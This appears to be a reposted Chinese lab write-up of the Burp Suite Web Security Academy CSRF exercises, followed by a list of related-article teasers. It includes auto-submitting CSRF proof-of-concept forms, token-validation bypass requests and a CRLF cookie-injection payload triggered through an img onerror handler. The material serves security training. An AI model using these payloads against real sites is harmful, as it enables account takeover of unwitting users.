burpsuite靶场——CSRF

news2024/11/24 19:52:49

文章目录

    • 什么是CSRF?
    • CSRF 攻击的影响是什么?
    • CSRF 是如何工作的?
    • 没有防御的 CSRF 漏洞
    • 常见的 CSRF 漏洞
    • Token验证取决于请求方法
    • Token的验证取决于Token是否存在
    • CSRF Token未绑定到用户会话
    • Token未与会话 cookie绑定

什么是CSRF?

跨站点请求伪造(也称为 CSRF)是一种网络安全漏洞,允许攻击者诱使用户执行他们不打算执行的操作。它允许攻击者部分规避同源策略,该策略旨在防止不同网站相互干扰。

image-20221218142418938

CSRF 攻击的影响是什么?

在成功的 CSRF 攻击中,攻击者会导致受害用户无意中执行某个操作。例如,这可能是更改他们帐户上的电子邮件地址、更改密码或进行资金转帐。根据操作的性质,攻击者可能能够完全控制用户的帐户。如果受感染的用户在应用程序中具有特权角色,则攻击者可能能够完全控制应用程序的所有数据和功能。

CSRF 是如何工作的?

要使 CSRF 攻击成为可能,必须具备三个关键条件:

  • **一个相关的动作。**应用程序中存在攻击者有理由诱导的操作。这可能是特权操作(例如修改其他用户的权限)或针对用户特定数据的任何操作(例如更改用户自己的密码)。
  • **基于 cookie 的会话处理。**执行该操作涉及发出一个或多个 HTTP 请求,应用程序仅依赖会话 cookie 来识别发出请求的用户。没有其他机制来跟踪会话或验证用户请求。
  • **没有不可预测的请求参数。**执行操作的请求不包含任何参数,其值攻击者无法确定或猜测。例如,当导致用户更改密码时,如果攻击者需要知道现有密码的值,则该函数不易受到攻击。

例如,假设一个应用程序包含一个允许用户更改其帐户电子邮件地址的功能。当用户执行此操作时,他们会发出如下 HTTP 请求:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=wiener@normal-user.com

这样就满足了CSRF需要的条件:

  • 更改用户帐户上的电子邮件地址的操作是攻击者感兴趣的。执行此操作后,攻击者通常能够触发密码重置并完全控制用户帐户。
  • 应用程序使用会话 cookie 来识别哪个用户发出了请求。没有其他Token或机制来跟踪用户会话。
  • 攻击者可以轻松确定执行操作所需的请求参数的值。

有了这些条件,攻击者就可以构建一个包含以下 HTML 的网页:

<html>
    <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
            <input type="hidden" name="email" value="pwned@evil-user.net" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

如果受害用户访问攻击者的网页,会发生以下情况:

  • 攻击者的页面将触发对易受攻击网站的 HTTP 请求。
  • 如果用户登录到易受攻击的网站,他们的浏览器将自动在请求中包含他们的会话 cookie(假设未使用SameSite cookie)。
  • 易受攻击的网站将以正常方式处理请求,将其视为受害用户发出的请求,并更改其电子邮件地址。

没有防御的 CSRF 漏洞

image-20221218132321660

登录后修改邮箱抓包

image-20221218135126448

发包成功修改

使用自带的CSRF Poc生成器

image-20221218135318446

生成HTML的poc,放到利用服务器上

image-20221218140716045

查看利用,需要手动点击提交,这一般需要钓鱼

image-20221218140812589

上面的poc加一了段代码,表单提交到服务器去,不用手动点击提交

image-20221218193648401

<script>
        document.forms[0].submit();
</script>
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a5d0016048481f5c4ad5a5900160048.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test3&#64;123&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
<script>
        document.forms[0].submit();
</script>
</html>

像受害者提交漏洞即可通过

常见的 CSRF 漏洞

大多数有趣的 CSRF 漏洞都是由于CSRF Token验证中的错误而产生的。

在前面的示例中,假设应用程序现在在更改用户电子邮件的请求中包含一个 CSRF Token:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&email=wiener@normal-user.com

这应该可以防止 CSRF 攻击,因为它违反了 CSRF 漏洞的必要条件:应用程序不再仅依赖 cookie 进行会话处理,并且请求包含攻击者无法确定其值的参数。然而,有多种方法可以攻破防御,这意味着应用程序仍然容易受到 CSRF 的攻击。

Token验证取决于请求方法

某些应用程序在请求使用 POST 方法时正确验证Token,但在使用 GET 方法时跳过验证。

在这种情况下,攻击者可以切换到 GET 方法来绕过验证并进行 CSRF 攻击:

GET /email/change?email=pwned@evil-user.net HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

image-20221218150055197

正常抓包 ,这次是有csrfToken验证了

image-20221218160646201

修改csrf参数则通不过,修改请求方法后验证可以忽略

image-20221218160936254

Token的验证取决于Token是否存在

某些应用程序会在Token存在时正确验证Token,但如果Token被省略则跳过验证

就是说将整个参数全删掉,则Token不存在,即可验证成功

CSRF Token未绑定到用户会话

image-20221218190836752

现在我们有两个账户

image-20221218191717585

目的是使用wienner的token来实现修改carlos的邮箱,也就是服务器并不会判断token与谁对应,只判断token是否正常

image-20221218193407739

用wienner账号生成的token,用在carlos账号也能修改成功

image-20221218193351467

Token未与会话 cookie绑定

有的应用系统虽然将CSRF Token与Cookie中某个参数值绑定了,但是并没有与session这个Cookie参数绑定,这样还是会导致CSRF Token与绑定的参数组合可以被任意用户用于请求。
在构造CSRF POC有一个比较有趣的操作,需要在用burp生成CSRF链接的时候将自动提交标签改成img标签,将提交表单事件设置在onerror属性中,将利用CLRF注入Cookie的页面设置在src属性中。(注:应用Set-Cookie参数值注入Cookie)

image-20221219002505311

两个用户抓包看,session和csrf都是一样的,经过测试,csrfKey会进行判断,我们的目的是用wiener账户实现修改carlos的邮箱。

CSRF Token并未与session绑定,而是与csrfKey绑定的,根据cookie的传递性,我们可以在其他页面提前把csrfKey注入进去,这里我们利用img与onerror组合的XSS以及CLRF技术来构造CSRF

创建一个 URL,利用此漏洞将您的csrfKeycookie 注入受害者的浏览器:

/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None
删除自动提交<script>块,而是添加以下代码来注入 cookie:

<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/115395.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【HTML】动画合集--跟着pink老师学习

1.奔跑小熊 奔跑小熊<!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport" content"widthdevice…

【免杀前置课——shellcode】二十、初识shellcode——配合栈溢出漏洞利用shellcode在代码中返回MessageBox函数

初识shellcode栈溢出漏洞反弹shellcodeshellcode取出shellcode栈溢出漏洞反弹shellcode shellcode shellcode&#xff1a; shellcode是一段用于利用软件漏洞而执行的代码&#xff0c;shellcode为16进制的机器码&#xff0c;因为经常让攻击者获得shell而得名。.shellcode常常使…

自动控制原理笔记-线性系统的稳定性分析

目录 稳定的概念及定义&#xff1a; 系统稳定的充要条件——闭环极点全部落在虚轴左边&#xff1a; 系统的稳定性判据&#xff1a; 劳斯判据(充要性)判据&#xff1a; 劳斯表特殊情况例(出现计算过程分母为0)&#xff1a; 劳斯表特殊情况例(出现全0行)&#xff1a; 稳定的…

【Java】花费数十小时,带你体验Java文档搜索引擎的实现过程

Java文档搜索引擎项目运行效果一、简述搜索引擎概念二、搜索引擎实现思路2.1倒排索引介绍2.2项目目标2.3获取java文档2.4模块划分2.5创建项目2.6认识分词2.7分词的原理2.8使用第三方分词库三、实现索引模块-parser类3.1 实现索引模块-递归枚举文件3.2 排除非HTML文件3.3 实现索…

旁瓣消隐技术在雷达中应用

电子对抗在现代战争中的作用日趋重要&#xff0c;没有雷达抗干扰技术的雷达完全失去其发现测定敌人目标的功能。从降低天线旁瓣干扰方面考虑&#xff0c;雷达抗干扰技术主要包括旁瓣对消技术和旁瓣消隐技术&#xff0c;旁瓣对消器在有一个辅助天线的情况下抑制一个干扰源的效果…

正式入职开发工程师工作近半年有感

一、前言 博主是毕业于集美大学的一枚软件工程本科生&#xff0c;不知不觉已经毕业近半年了&#xff0c;由于工作繁忙 个人的懒惰&#xff0c;对CSDN的博客记录频率已经大不如之前。说起这里也是惭愧&#xff0c;之后博主会尽量抽出时间&#xff0c;继续保持各种学习&#xf…

代码随想录算法训练营第43天 | 1049. 最后一块石头的重量 II 494. 目标和 474.一和零

一、Leetcode 1049. 最后一块石头的重量 II 这几个题都很不好给转成01问题。本题一开始我以为怎么撞都行&#xff0c;其实不是&#xff0c;相当于给每项前面加1&#xff0c; 就是说有时候不能浪费小石头&#xff0c;得跟大石头碰。 那么问题就很明显了&#xff0c;类似于分割…

AC自动机

AC自动机 AC自动机是干嘛的&#xff1f; 我有一个敏感词数组&#xff0c;里面装的是所有的敏感词&#xff0c;还有一篇大文章&#xff0c;我要求出大文章里面所有的敏感词。 敏感词数组本身的组织是一颗前缀树。 AC自动机就是在前缀树的基础上做升级。 流程 我们在前缀树的…

已来到 “后云原生时代” 的我们,如何规模化运维?

文&#xff5c;李大元 &#xff08;花名&#xff1a;达远&#xff09; Kusion 项目负责人 来自蚂蚁集团 PaaS 核心团队&#xff0c;PaaS IaC 基础平台负责人。 本文 4331 字 阅读 11 分钟 PART. 1 后云原生时代 距离 Kubernetes 第一个 commit 已经过去八年多了&#xff0c…

chrome extensions mv3与mv2比较 执行eval

文章目录背景1、mv3版本与mv2版本之间的一些区别2、解决mv3版本DOM交互 & JS执行问题2.1、关于引入eval52.2、关于在background.js执行script脚本3、background执行fetch调用URL参考背景 老的扩展项目使用的是mv2版本的API&#xff0c;计划升级mv3版本的时候遇到了下面的问…

MySQL索引为什么使用B+树,而不用二叉树、红黑树、哈希表、B树?

索引是帮助MySQL高效获取数据的排好序的数据结构。 索引数据结构&#xff1a; 1.二叉树 2.红黑树 3.Hash表 4.B-Tree 1. 二叉查找树&#xff08;Binary Search Trees&#xff09; 左节点比父节点要小&#xff0c;右节点比父节点要大。它的高度决定的查找效率。 如果某一列数…

Java面试题-框架篇

框架篇 文章目录框架篇1. Spring refresh 流程2. Spring bean 生命周期3. Spring bean 循环依赖解决 set 循环依赖的原理4. Spring 事务失效5. Spring MVC 执行流程6. Spring 注解7. SpringBoot 自动配置原理8. Spring 中的设计模式1. Spring refresh 流程 要求 掌握 refresh…

【服务器数据恢复】EMC存储raid5多块磁盘掉线的数据恢复案例

服务器数据恢复环境&#xff1a; EMC某型号存储&#xff1b; 8块硬盘组成raid5磁盘阵列。 服务器故障&#xff1a; raid5磁盘阵列中2块硬盘离线&#xff0c;服务器崩溃&#xff0c;上层应用不可用。 服务器数据恢复过程&#xff1a; 1、数据恢复工程师将故障存储设备内的所有硬…

嵌入式开发--PID控制

PID简介 讲解PID的文章书籍很多&#xff0c;本文就不详细讲了&#xff0c;只讲一下我在学习过程中不容易理解的一些问题点&#xff0c;以供大家参考。比如很多书籍对于PID&#xff0c;只讲了计算&#xff0c;但是最后计算出来的值如何应用&#xff0c;则完全不讲&#xff0c;当…

C++:设计一个学生学籍管理系统,设计相关信息,并执行一些计算和文件操作

题目&#xff1a; 设计一个学生学籍管理系统&#xff1a; 学生信息包括&#xff1a;姓名、学号、性别和英语、数学、程序设计、体育成绩。数据录入支持键盘输入和文件导入&#xff1b;同时支持导入输入&#xff0c;如自动列出“姓名、学号、性别”&#xff0c;而成绩部分由键盘…

SFP、SFP+、SFP28、QSFP+和QSFP28之间的区别以及不同场景的使用选型

SFP、SFP+、SFP28、QSFP+和QSFP28之间的区别以及不同场景的使用选型。 SFP、SFP+、SFP28、QSFP+和QSFP28这些光模块类型对专业人员来说并不陌生,这些热拔插模块都可用于连接网络交换机和其他网络设备(如服务器或收发器)进行数据传输。但你了解这些模块的具体区别吗?QSFP28…

Python爬虫爬取某电影排行榜图片实例

今天继续给大家介绍Python 爬虫相关知识&#xff0c;本文主要内容是Python爬虫爬取某电影排行榜图片实例。 一、要求分析 在上文Python爬虫爬取某电影排行实例中&#xff0c;我们已经能够使用Python程序爬取某电影排行榜中的电影名称。今天&#xff0c;我们来尝试以下下载电影…

入职第一天,HR拿了一个橙子进门说:你的学历不是统招本科,不符合公司要求,给你个橘子,走吧!...

今天来讲一件又好笑又好气的事&#xff0c;这是一位网友的亲身经历&#xff1a;入职第一天&#xff0c;入职材料填到一半&#xff0c;HR拿了一个橙子进门&#xff0c;放在桌子上开口说&#xff1a;抱歉&#xff0c;由于之前工作失误&#xff0c;没确认你的第一学历不是统招本科…

RK3568平台开发系列讲解(调试篇)Linux相关日志分析

🚀返回专栏总目录 文章目录 一、dmesg二、动态打印案例沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本文我们要介绍Linux内核的日志分析。 一、dmesg printk是在内核中运行的向控制台输出显示的函数,Linux内核首先在内核空间分配一个静态缓冲区,作为显示用的空…

​杭州蓝然创业板IPO终止:应收账款、存货账面高,楼永通为实控人​

近日&#xff0c;杭州蓝然技术股份有限公司&#xff08;下称“杭州蓝然”&#xff09;向深圳证券交易所提交了撤回在创业板上市申请文件的申请。同时&#xff0c;其保荐机构也撤回保荐。12月23日&#xff0c;深圳证券交易所做出决定&#xff0c;终止对杭州蓝然在创业板IPO的审核…